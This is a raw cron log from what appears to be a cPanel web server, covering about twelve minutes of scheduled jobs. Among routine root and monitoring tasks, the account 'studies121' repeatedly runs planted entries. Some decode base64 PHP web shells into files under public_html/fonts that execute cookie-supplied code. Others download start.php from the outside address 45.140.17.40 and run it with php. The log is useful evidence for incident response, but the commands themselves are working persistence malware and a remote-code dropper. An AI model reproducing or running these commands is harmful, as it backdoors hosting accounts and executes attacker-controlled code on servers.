Sep 10 05:33:01 ip-184-168-122-23 CROND[9790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:33:01 ip-184-168-122-23 CROND[9792]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:34:01 ip-184-168-122-23 CROND[9934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:34:01 ip-184-168-122-23 CROND[9933]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:34:01 ip-184-168-122-23 CROND[9935]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:34:01 ip-184-168-122-23 CROND[9937]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:34:01 ip-184-168-122-23 CROND[9939]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 05:35:01 ip-184-168-122-23 CROND[10056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:35:01 ip-184-168-122-23 CROND[10060]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 05:35:01 ip-184-168-122-23 CROND[10062]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 05:35:01 ip-184-168-122-23 CROND[10063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:35:01 ip-184-168-122-23 CROND[10059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:35:01 ip-184-168-122-23 CROND[10061]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:35:01 ip-184-168-122-23 CROND[10072]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 10 05:35:01 ip-184-168-122-23 CROND[10071]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 05:36:01 ip-184-168-122-23 CROND[10210]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:36:01 ip-184-168-122-23 CROND[10213]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:36:01 ip-184-168-122-23 CROND[10211]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:36:01 ip-184-168-122-23 CROND[10214]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 05:36:01 ip-184-168-122-23 CROND[10215]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:37:01 ip-184-168-122-23 CROND[10414]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:37:01 ip-184-168-122-23 CROND[10416]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:37:01 ip-184-168-122-23 CROND[10417]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:37:01 ip-184-168-122-23 CROND[10415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:38:01 ip-184-168-122-23 CROND[10510]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 05:38:01 ip-184-168-122-23 CROND[10512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:38:01 ip-184-168-122-23 CROND[10514]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:38:01 ip-184-168-122-23 CROND[10515]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:38:01 ip-184-168-122-23 CROND[10513]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:39:01 ip-184-168-122-23 CROND[10628]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:39:01 ip-184-168-122-23 CROND[10630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:39:01 ip-184-168-122-23 CROND[10631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:39:01 ip-184-168-122-23 CROND[10633]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:39:01 ip-184-168-122-23 CROND[10632]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 05:40:01 ip-184-168-122-23 CROND[10768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:40:01 ip-184-168-122-23 CROND[10769]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 05:40:01 ip-184-168-122-23 CROND[10773]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 05:40:01 ip-184-168-122-23 CROND[10774]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:40:01 ip-184-168-122-23 CROND[10776]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:40:01 ip-184-168-122-23 CROND[10778]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 05:40:01 ip-184-168-122-23 CROND[10779]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 05:40:01 ip-184-168-122-23 CROND[10780]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:41:01 ip-184-168-122-23 CROND[10880]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:41:01 ip-184-168-122-23 CROND[10883]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:41:01 ip-184-168-122-23 CROND[10881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:41:01 ip-184-168-122-23 CROND[10882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:42:01 ip-184-168-122-23 CROND[11012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:42:01 ip-184-168-122-23 CROND[11013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:42:01 ip-184-168-122-23 CROND[11015]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:42:01 ip-184-168-122-23 CROND[11017]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 05:42:01 ip-184-168-122-23 CROND[11020]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:43:01 ip-184-168-122-23 CROND[11250]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:43:01 ip-184-168-122-23 CROND[11252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:43:01 ip-184-168-122-23 CROND[11253]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:43:01 ip-184-168-122-23 CROND[11254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:44:01 ip-184-168-122-23 CROND[11357]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 05:44:01 ip-184-168-122-23 CROND[11356]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:44:01 ip-184-168-122-23 CROND[11360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:44:01 ip-184-168-122-23 CROND[11361]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:44:01 ip-184-168-122-23 CROND[11362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:45:01 ip-184-168-122-23 CROND[11458]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:45:01 ip-184-168-122-23 CROND[11461]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 05:45:01 ip-184-168-122-23 CROND[11462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:45:01 ip-184-168-122-23 CROND[11464]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
